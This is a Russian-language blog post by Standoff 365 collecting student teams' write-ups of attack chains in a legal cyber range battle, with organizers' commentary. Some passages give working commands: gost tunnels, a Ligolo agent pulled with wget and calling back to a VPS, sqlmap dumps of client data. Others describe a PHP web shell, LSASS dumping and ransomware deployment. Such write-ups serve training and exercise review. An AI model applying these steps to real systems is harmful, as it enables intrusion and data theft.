Хабр, на связи Standoff 365. В мае состоялась первая студенческая кибербитва. И впервые это было соревнование с участием команд атакующих, а не только защитников. Решили поделиться фидбэком от участников движняка. Ребята сами рассказали о своем опыте, удачных находках и разочаровании.

⚠️ В тексте присутствует хакерский жаргон. Мы старались сохранить авторский стиль повествования, но не могли оставить читателя без пояснений к некоторым терминам.

LaCringe (Дальневосточный федеральный университет, ДВФУ)

В самом начале в ходе сканирования периметра был обнаружен единственный хост — www.student.stf. Мы получили RCE на этом хосте через CVE, нашли там VPN-конфигурацию, но нам требовались учетные данные для ее использования.

1.  Утечка персональных данных клиентов

Цель: получить доступ к информационному порталу для клиентов portal.student.stf.

Мы пробили периметр при помощи скрипта на отправку фишинговых сообщений от всех всем, несколько сотрудников открыли наши письма и запустили маяки, в результате мы получили сессии (в качестве С2 использовался Sliver). При помощи GodPotato мы провели LPE и при помощи пивотинга проксировали весь трафик через хост bbradford. Далее в ходе изучения открывшейся нам сети мы обнаружили SQL-инъекцию в portal.student.stf по адресу http://portal.student.stf/info/?query_string=VULN, проэксплуатировали ее и реализовали первое недопустимое событие — утечку персональных данных.

2. Захват информационного портала www.energy.stf

Цель: зашифровать сервер информационного портала www.energy.stf.

В самом начале мы получили RCE на лендинге www.student.stf, далее с этого хоста загрузили php-шелл на ресурс www.energy.stf при помощи небезопасного метода PUT, далее через параметр ?cmd= получили RCE на этом ресурсе, загрузили туда бинарник, переименовали и выполнили это недопустимое событие.

3. Утечка конфиденциальной информации

Цель: получить доступ к компьютеру директора компании.

В ходе продвижения в домене мы сдампили lssas на одном из хостов, получили креды пользователя b.bradford и подключились на его машину при помощи RDP. Далее по протоколу SMB обратились на адрес cdurham.studen.stf и получили доступ к содержимому компьютера директора компании, тем самым реализовав это недопустимое событие.

4. Распространение вируса шифровальщика

Цель: зашифровать ключевой сервер shpoint.student.stf.

К этому моменту мы успели собрать несколько учетных записей ws_admin и users, но для реализации этого НС требовалась учетка srv_admin. Однако на одном из хостов пользователей из группы ws_admin был обнаружен файл .kdbx — база данных менеджера паролей keepass. Сбрутив пароль для этой базы данных при помощи утилиты John the Ripper, мы получили креды обоих пользователей из группы srv_admin.

Подключились на хост по RDP, загрузили бинарный файл, переименовали и запустили его. НС реализовано.

Михаил Таран

Руководитель экспертной группы Standoff365

Хорошая работа, вектор атаки ровно тот, который ожидался. Однако в следующий раз попробуйте использовать для подключения к виндовым машинам протоколы, отличные от RDP, как делают это «взрослые» ребята (в более серьезных соревнованиях RDP может быть отключен).

Ян Губер

Руководитель разработки уязвимых сервисов Standoff365

Использование фишинговых сообщений для пробития периметра — это хороший пример реальной атаки, которая часто встречается в повседневной жизни. Также понравилось, что ребята решили использовать инструмент для постэксплуатации Sliver C2. Подобные инструменты активно используются во «взрослом» The Standoff. Также правильным решением было проксирование трафика через пользовательский хост bbradford для получения доступа к внутренним сегментам сети.

Хотелось бы отметить, что для получения доступа к portal.student.stf можно было пропустить этот шаг. Данный хост расположен в DMZ и был доступен сразу после получения RCE на хосте gateX.student.stf.

GC0D3S (Санкт-Петербургский государственный университет аэрокосмического приборостроения, СПб ГУАП)

Приветствуем, это команда GC0D3S, представляющая Санкт-Петербургский ГУАП. Хотели бы рассказать о нашем пути реализации одного из недопустимых событий с учетом новой механики т.н. гейтов на проходящей в мае 2024 года студенческой кибербитве Standoff 13 во время PHD 2. Без лишних слов приступим к делу.

Для начала разберемся с инфраструктурой. Для преодоления гейта мы использовали внешний VPS с белым IP. Достаточно 1 ядра, 1 ГБ ОЗУ и 10 ГБ памяти, именно сервер с такой конфигурацией мы и взяли у Beget. В качестве ОС был выбран стандартный Debian 12 из-за его надежности и легковесности («арча», к сожалению, не было). После подключения к нашему новому VPS мы поставили на него базовые утилиты через пакетный менеджер apt для облегчения работы и оптимизации процесса: python3, git, wget, 7zip, vim/nvim, tmux и zsh с аддонами. После этого мы перекинули через scp соответствующие конфиги к ним, улучшающие удобство пользования.

Следующим шагом на VPS нами был развернут сервер утилиты «GOST» для тунеллирования трафика, и так как этот инструмент поставляется в виде статичного бинарного файла, мы просто перекинули его на сервер через тот же scp (также можно было напрямую скачать архив из GitHub) с помощью wget и разархивировать его). После загрузки файла не забываем выдать права на исполнение через chmod +x gost. Далее начинается самое интересное, а именно написание комплексных параметров для утилиты.

Данную огромную команду из-под рута запускаем на VPS:

Sudo ./gost -L tun://:5555?net=192.168.123.1/24 -L relay+tcp://:4444 -L tcp://:12122/192.168.123.2:11601 -L tcp://:12123/192.168.123.3:11601 -L tcp://:12124/192.168.123.4:11601 -L tcp://:12125/192.168.123.5:11601 -L tcp://:12126/192.168.123.6:11601 -L tcp://:12127/192.168.123.7:11601 -L tcp://:12128/192.168.123.8:11601 -L tcp://:12129/192.168.123.9:11601 -L tcp://:12130/192.168.123.10:11601 -L tcp://:12131/192.168.123.11:11601

Эта команда создает 10 IP-адресов для всех участников команды, вот пояснение ее частей на примере одной из них:

tun://:5555?net=192.168.123.1/24 создает интерфейс на нашей VPS и присваивает ему IP «192.168.123.1», в то время как -L tcp://:12122/192.168.123.2:11601 создает уже IP для участника команды и реализует прокидывание портов: пересылает подключения в данном случае с порта 12122 VPS на порт 11601 IP 192.168.123.2 (флаг «-L» указывает программе, какой конкретно слушать адрес — но портов может быть несколько, — и таких значений может быть сколько необходимо).

На нашем атакующем компьютере нам тоже понадобится gost. Качаем, выдаем права и прописываем следующую команду:

sudo gost -L tun://:0/:5555?net=192.168.123.2/24 -F relay+tcp://<ip сервера>:4444 — рут нам нужен для создания интерфейса и, соответственно, туннеля.

Тут уже -L tun://:0/:5555?net=192.168.123.2/24 присоединяет наш компьютер к интерфейсу VPS, тем самым мы получаем личный интерфейс с IP 192.168.123.2, который обеспечивает бэкконнект с VPS на наш компьютер. Похожую команду, только с соответствующими своими IP-адресами (192.168.123.X), вводит каждый участник команды на своем ПК.

Туннель между своим компьютером и VPS настроили. Пришло время заняться непосредственно тестированием инфраструктуры на проникновение. Всё по стандартам: вначале сканы. Базово сканируем весь скоуп с помощью nmap -T4 -sn и обнаруживаем единственный «живой» хост — как раз нужный нам гейт, предоставляющий доступ ко всей внешней инфраструктуре. Далее проверяем, что вообще собой представляет данный входной узел, посредством изучения сайта (на гейте запущен веб-сервер) и сканирования всех его портов вместе с запущенными на них сервисами на наличие уязвимостей в их версиях. В процессе разведки мы выясняем, что в качестве веб-сервера используется Nostromo. Сразу же идем искать CVE на его данную версию и путем нехитрого гуглинга находим CVE-2019-16278 на RCE. После этого находим и скачиваем PoC для этой CVE с Github, эксплуатируем и тем самым получаем RCE на входном узле. Гейт под нашим контролем.

Далее на нашем атакующем компьютере запускаем прокси-сервер еще одной прекрасной утилиты под названием Ligolo с помощью ./ligolo-proxy -selfcert. ligolo-proxy и ligolo-agent, а точнее, их «ng»-версии всё так же берем с Github.

После этого на захваченный нами гейт мы посылаем агента Ligolo. Делаем мы это следующим образом: на нашей VPS развертываем простейший файловый сервер через python -m http.server, и с помощью wget на гейте мы подтягиваем файл агента. Выдаем права на него всё тем же chmod +x и прописываем следующую команду: ./agent -connect IP_VPS:PORT_VPS. В качестве IP указываем адрес нашего VPS, а в качестве порта — тот самый прокинутый порт 12122 из команды gost (для конкретного ПК одного из участников).

После запуска агента к нам на прокси-сервер должен постучаться наш закинутый Ligolo-agent, выбираем его сессию и прописываем tunnel_start для запуска туннеля, который будет прикреплен к отдельному интерфейсу (по дефолту его имя ligolo). Далее прописываем роуты к внешнему периметру: sudo ip route add [IP-диапазон внешнего скоупа через CIDR- нотацию] dev [имя сетевого интерфейса туннеля], и вуаля! Мы получили со своего ПК доступ к инфраструктуре за гейтом, и теперь все ее адреса доступны с наших компьютеров.

Так как мы теперь имеем доступ к хостам за гейтом, начинаем сканировать весь этот скоуп. Среди прочих находим «portal.student.stf» на IP 10.117.10.49 и начинаем изучать его функционал. В директории «info» с помощью классического проставления одиночной кавычки во все поля подряд для проверки на SQLi обнаруживаем уязвимый GET-параметр ?query_string, который мы и проэксплуатируем с помощью стандартной утилиты, знакомой всем, — sqlmap.

Первоначально для удобства добавляем на своих машинах в /etc/hosts IP-адреса и соответствующие им домены. Далее запускаем следующие команды:

• sqlmap -u http://portal.student.stf/info/?query_string=1  --risk=3 -level=2 –dbs — она прекрасно отрабатывает, и тем самым мы идентифицировали базу данных MySQL. Теперь мы можем приступать к проверке и пересчету таблиц внутри этой БД.

• Командой sqlmap -u http://portal.student.stf/info/?query_string=1 --dbms=MySQL --risk=3 -level=2 –dbs мы получаем список таблиц, из которых нас больше всего интересует таблица «portal», а в частности ее колонка «client_info». Пытаемся ее сдампить...

• Финальная команда sqlmap -u http://portal.student.stf/info/?query_string=1 --dbms=MySQL --risk=3 -level=2 --dbs -D portal -t client_info --dump отрабатывает как часы, и вот мы получаем всю информацию о клиентах, тем самым реализуя одно из недопустимых событий студенческой кибербитвы на Positive Hack Days 2!

Наша цепочка атак при реализации недопустимого события выглядит так:

Ян Губер

Руководитель разработки уязвимых сервисов Standoff365

Использование внешних VPS является стандартной практикой во «взрослом» The Standoff. Данный подход позволяет оптимизировать сетевую доступность до необходимых узлов и наладить удобную работу с ними в команде.

Правильным решением было закрепление и проксирование трафика с помощью Ligolo, что позволило получить сетевой доступ к другим сегментам сети за хостом gateX.student.stf. Далее команда демонстрирует эксплуатацию SQL-инъекции, которая довольно часто встречается в реальной жизни. Инструмент SQLmap уже давно стал классикой и применяется профессиональными пентестерами для автоматизации обнаружения и эксплуатации SQL-инъекций.

gone with the wind (КНИТУ-КАИ им. А. Н. Туполева, ПГУТИ)

С основными сложностями наша команда столкнулась не при реализации критических событий, а при работе с инфраструктурой. На самом деле было сложно разобраться с ней в первый раз.

Для доступа к DMZ недостаточно было просто подключиться к VPN, необходимо было взломать что-то наподобие роутера или межсетевого экрана и действовать через него. Это серьезно усложняло использование всех сетевых утилит, эксплойтов и скриптов. На самом так называемом гейте была уязвимость в веб-интерфейсе, которая давала полноценную RCE, далее в ход шёл chisel — безусловно, самая важная утилита на этом соревновании.

Поначалу мы просто открывали SOCKS-сервер на своей машине и заставляли гейт подключаться к нему, интегрируя в туннель SOCKS-прокси. Таким образом с помощью chisel и proxychains мы получали доступ к DMZ-области виртуального города. На этом, конечно же, проблемы не закончились. Нам предстояло разобраться, как грамотно использовать сканирование nmap, учитывая, что протокол SOCKS работает на более высоком уровне, чем протоколы разных методов сканирования. Спустя множество часов использования Google мы пришли к различиям версий proxychains и стали использовать конкретно proxychains4.

На самом деле, данное усложнение очень сильно замедлило соревнование, к концу первого игрового дня у всех команд было не более одного недопустимого события, а к концу второго — по три или четыре из семи. По правде говоря, инфраструктура, предоставленная организаторами, могла быть взломана за четыре-пять часов, но наличие такой помехи на пути атакующих очень сильно затормозило весь процесс. Многие игроки в чате упрашивали организаторов убрать гейты и открыть прямой доступ к VPN.

В начале второго игрового дня мы смогли получить RCE на одном из серверов DMZ-зоны и пробросили chisel с него: так был получен доступ к внутренней сети. Однако отсутствие доменных учетных записей (и перезагрузка этого сервера организаторами) лишило нас возможности дальнейшего распространения. Для доступа к доменным компьютерам предлагалось взломать внешний почтовый сервер и с него отправить фишинговую рассылку сотрудникам. Именно этот момент нас сильно опечалил. Во-первых, сам сценарий не очень интересный, хотя и реалистичный. Во-вторых, файл для брутфорса, который скинули организаторы, не содержал пароля от целевых учетных записей (УЗ). Мы смогли получить к ним доступ другим большим словарем и убили почти весь второй день на это. В-третьих, сам факт перебора пароля почти всегда вызывает гнев и раздражение.

В конце концов, доменную УЗ мы получили, но это едва ли помогло нам в дальнейшем продвижении. Фишинг, кстати, у нас тоже не прошел, к концу дня техническая поддержка также перестала отвечать на запросы. Из всех ребят из ТП хочется выразить респект @minaru, поскольку ее помощь в вопросах инфраструктуры была и вправду неоценимой.

В целом, несмотря на наше поражение из-за сложностей, вызванных работой с гейтами, и противного брутфорса, общее впечатление о Standoff очень и очень позитивное. Это безумно масштабное и мощное мероприятие, в котором мы были рады поучаствовать.

Михаил Таран

Руководитель экспертной группы Standoff365

В случае если что-то пошло не так не по вашей вине, у команды Standoff есть техническая поддержка, которая всегда будет рада помочь с такими вопросами. По поводу отсутствия нужного пароля в словаре, который мы передали, — Our disappointment is immeasurable ©. Мы всегда стараемся становиться лучше.

Ян Губер

Руководитель разработки уязвимых сервисов Standoff365

Для доступа к DMZ необходимо было получить RCE на узле gateX.student.stf. Этот хост представлял собой лендинг компании, чью инфраструктуру вы исследовали на мероприятии. По легенде, лендинг находился на сервере хостера, и, чтобы попасть в саму инфраструктуру компании, нужно было сначала закрепиться и проксироваться через него. Для балансировки нагрузки на основные хосты было поднято несколько инстансов данного лендинга (о чем и говорит буква X в названии, которая менялась на номер инстанса). Это помогало избежать частых падений хостов основной инфраструктуры и давало возможность пробиться дальше.

Рад, что несмотря на проблемы, вам понравилось наше мероприятие. Примем во внимание и будем искать лучшие пути решения. Приходите еще!

Dump Rats (Национальный исследовательский университет «Высшая школа экономики», НИУ ВШЭ)

Попали на студенческую битву мы в каком-то смысле случайно. В один из дней отборочного этапа нашему капитану захотелось что-то сломать (конечно, легально), и он решил несколько задач в одной из организаций. Мы и не планировали идти дальше, но когда пришло приглашение на следующий этап, осознали, насколько не готовы и сколько нам надо изучить, чтобы решить хоть что-то.

В основном наша команда ориентирована на CTF, поэтому какие-то знания в области Web у нас есть (что не могло не радовать). Однако даже намека на таски с соревнования на кибербитве не было. Первое, что нас встретило, — сообщение от организаторов, что изначально нам доступна только одна машинка, а к остальным мы получим доступ, выйдя в сеть за ней. Это было как минимум удивительно, так как ничего подобного мы еще не видели. Следующие семь часов мы провели с настройкой прокси и безуспешными попытками найти нормальный способ контактировать с сетью за gateway. В итоге все, к чему мы пришли, — занести на gateway свои ssh-ключи (которые периодически стирали другие участники, из-за чего пришлось автоматизировать весь процесс) и использовать встроенные возможности ssh (так как root-права мы не получили). Особо ушлые участники после получения reverse shell на уязвимой машине скачали статически скомпилированный nmap на нее и начали сканировать сеть прям оттуда, не пытаясь прокинуть прокси или что-то подобное.

На самом деле, процесс можно было сильно облегчить, выполнив LPE, однако в тот момент у нас не получилось, и мы решили, что машина неуязвима к подобным атакам, что заставило нас придумывать иные способы играть дальше. В итоге после установления proxy через ssh мы решили пользоваться тулзой proxychains, чтобы весь наш трафик проходил через gateway и, соответственно, видел сеть за ним. Если честно, мы до сих пор не разобрались, как все-таки надо было выполнить это подключение «по-нормальному», так что если на следующих соревнованиях будет такое же вступление, мы снова будем пользоваться костылями :)

Немного радовало, что не только мы удивились увиденному, — первые несколько часов ни одна из команд не реализовала недопустимое событие, а настроив прокси и начав выполнять задания на всех доступных машинках, мы даже вышли на приличные места в рейтинге участников. Однако счастье длилось не так долго, и вскоре все команды также начали их выполнять, что, наверное, можно считать точкой отсчета на данном Standoff. Далее в ход пошли сканеры, причем от всех команд. Заходя на очередной машине в /tmp, можно было увидеть, что остальные уже перепробовали, и почитав логи с машин, предположить, что сработало.

Векторы атак, которые мы нашли, были довольно стандартными, но один таск запомнился — тот, в котором был открыт phpMyAdmin и нужно было, манипулируя базой данных, получить желаемый доступ. Это было очень необычно, потому что вектор по факту вывернут наизнанку, и никакое ПО под такой специфичный кейс не было найдено. Еще из интересного было критическое событие, подразумевающее запуск вируса шифровальщика (жаль, он не ломал или не перезапускал машинку, но в таком случае другим участникам было бы не очень приятно). В остальном Metasploit покрывал 70% векторов (что не могло не радовать), а остальные 30% решались самописными скриптами.

Мы рады, что попали на студенческую кибербитву и встретились с людьми, которые очень хорошо разбираются в пентесте. Это подтолкнуло нашу команду готовиться к следующим соревнованиям и изучать пентест, так как раньше мы не выходили дальше, чем того требовали таски на CTF. Не побоюсь сказать, что участие нас сплотило. У нас даже появились выделенные дни, в которые мы сидим вместе и «решаем полигон» (или какие-то отдельные курсы, чтобы подтянуть ту или иную тему). Конечно, изучать все самостоятельно более эффективно по времени и силам, но без командного духа совсем не те ощущения.

Относительно платформы — она крайне удобна, единственное — не к кому обратиться за помощью с некоторыми машинами. Можно, конечно, написать в чат, но там далеко не всегда отвечают. Из-за этого приходится с болью в сердце оставлять задания нерешенными, пусть даже и понимаешь примерный вектор решения.

Михаил Таран

Руководитель экспертной группы Standoff365

Спасибо большое за участие и обратную связь! В следующий раз постараемся сделать так, чтобы Metasploit покрыл меньше 70% инфры :) Замечания приняли, постараемся все пофиксить.

Ян Губер

Руководитель разработки уязвимых сервисов Standoff365

Приятно видеть, что команды из CTF-сообщества начинают приходить к нам в поисках более сложных задач и вызовов. Всегда радует, когда участники находят векторы, которые мы не заложили изначально. В данном случае это касается phpMyAdmin. Такие отчеты всегда выделяются среди прочих, и их очень интересно читать. Даже если какие-то задачи остались нерешенными, не расстраивайтесь. Большинство наших уязвимых хостов и векторов со временем появляются на онлайн-полигоне, доступном 365 дней в году. У вас будет достаточно времени, чтобы проверить себя на них еще раз. Успехов!

Алексей Коробов

Руководитель направления развития комьюнити Standoff 365

Мы считаем очень ценным, что для студентов вузов, которые обучаются по направлениям ИБ и специализируются на анализе защищенности систем, были созданы реалистичные условия для проверки их навыков. Важно также, что у них была возможность выстроить коммуникацию с уже состоявшимся профессионалами, участвующими во «взрослых» битвах Standoff.

Чем закончить статью, как не анонсом следующей битвы? Тем более что она совсем скоро. С 16 сентября по 14 октября начнется отбор на осенний финал студенческой кибербитвы, который состоится в ноябре. Победители среди красных получат возможность принять участие в Positive Hack Days в мае следующего года уже в качеств участников основной битвы    Standoff, а команды синих получат беспрецедентный опыт расследований событий на том же инструментарии, что используют профессиональные SOC-команды в битвах Standoff. Следите за анонсами в https://t.me/standoff_365, а мы уверяем, что инфру сделаем разнообразнее, призы актуальнее и ваш опыт более насыщенным и интересным.